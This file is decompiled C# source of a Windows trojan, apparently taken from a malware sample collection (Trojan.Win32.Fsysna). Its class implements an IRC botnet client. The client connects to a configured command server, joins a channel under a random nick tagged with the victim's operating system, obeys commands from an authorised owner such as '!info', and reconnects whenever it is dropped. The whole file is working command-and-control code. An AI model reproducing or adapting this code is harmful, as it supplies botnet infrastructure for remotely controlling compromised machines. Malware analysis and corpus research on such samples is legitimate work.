MalwareSourceCode/MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01/clsIRC.cs

// Decompiled with JetBrains decompiler
// Type: Refx.clsIRC
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 5DD4C44F-C748-4813-B398-D3DE520CF41A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Diagnostics;
using System.IO;
using System.Net.Sockets;
using System.Threading;

namespace Refx
{
  public class clsIRC
  {
    public static string SERVER = "";
    public static int PORT = 0;
    public static string NICK = "";
    public static string USER = "";
    public static string CHANNEL = "";
    public static string CH_PASS = "";
    public static StreamWriter Writer;

    [DebuggerNonUserCode]
    public clsIRC()
    {
    }

    public void SetIRCConfig(string Host, int server_Port, string bot_Channel, string Cpass = "")
    {
      string str = modFunction.GenerateString(5, 0, 1);
      clsIRC.SERVER = Host;
      clsIRC.PORT = server_Port;
      clsIRC.NICK = modFunction.GenerateString(5, 0, 1) + "[" + modGetInfo.GetOperatingSystem() + "]";
      clsIRC.CHANNEL = bot_Channel;
      clsIRC.CH_PASS = Cpass;
      clsIRC.USER = "USER " + str + " " + str + " * :" + str;
    }

    public void StartIRC()
    {
      string target = "";
      try
      {
        TcpClient tcpClient = new TcpClient(clsIRC.SERVER, clsIRC.PORT);
        NetworkStream stream = tcpClient.GetStream();
        StreamReader streamReader = new StreamReader((Stream) stream);
        clsIRC.Writer = new StreamWriter((Stream) stream);
        this.SendData(clsIRC.USER + "\r\n");
        this.SendData("NICK " + clsIRC.NICK + "\r\n");
        while (true)
        {
          while (clsIRC.InlineAssignHelper<string>(ref target, streamReader.ReadLine()) != null)
          {
            if (modFunction.JoinDelayTest(target))
            {
              if (Strings.Len(clsIRC.CH_PASS) > 0)
                this.SendData("JOIN " + clsIRC.CHANNEL + " " + clsIRC.CH_PASS);
              else
                this.SendData("JOIN " + clsIRC.CHANNEL);
              new PingSender().Start();
            }
            if (modFunction.WildcardCompare(modAuth.OWNER, target))
            {
              if (target.EndsWith("!info"))
              {
                try
                {
                  this.SendMSG("REFX - OS " + modGetInfo.GetOperatingSystem());
                }
                catch (Exception ex)
                {
                  ProjectData.SetProjectError(ex);
                  ProjectData.ClearProjectError();
                }
              }
            }
          }
          clsIRC.Writer.Close();
          streamReader.Close();
          tcpClient.Close();
        }
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        Thread.Sleep(5000);
        this.StartIRC();
        ProjectData.ClearProjectError();
      }
    }

    private void SendData(string Data)
    {
      clsIRC.Writer.WriteLine(Data + "\r\n");
      clsIRC.Writer.Flush();
      modFunction.Addlog("OUT: " + Data);
    }

    private void SendMSG(string msg)
    {
      clsIRC.Writer.WriteLine("PRIVMSG " + clsIRC.CHANNEL + " :" + msg);
      clsIRC.Writer.Flush();
    }

    private static T InlineAssignHelper<T>(ref T target, T value)
    {
      target = value;
      return value;
    }
  }
}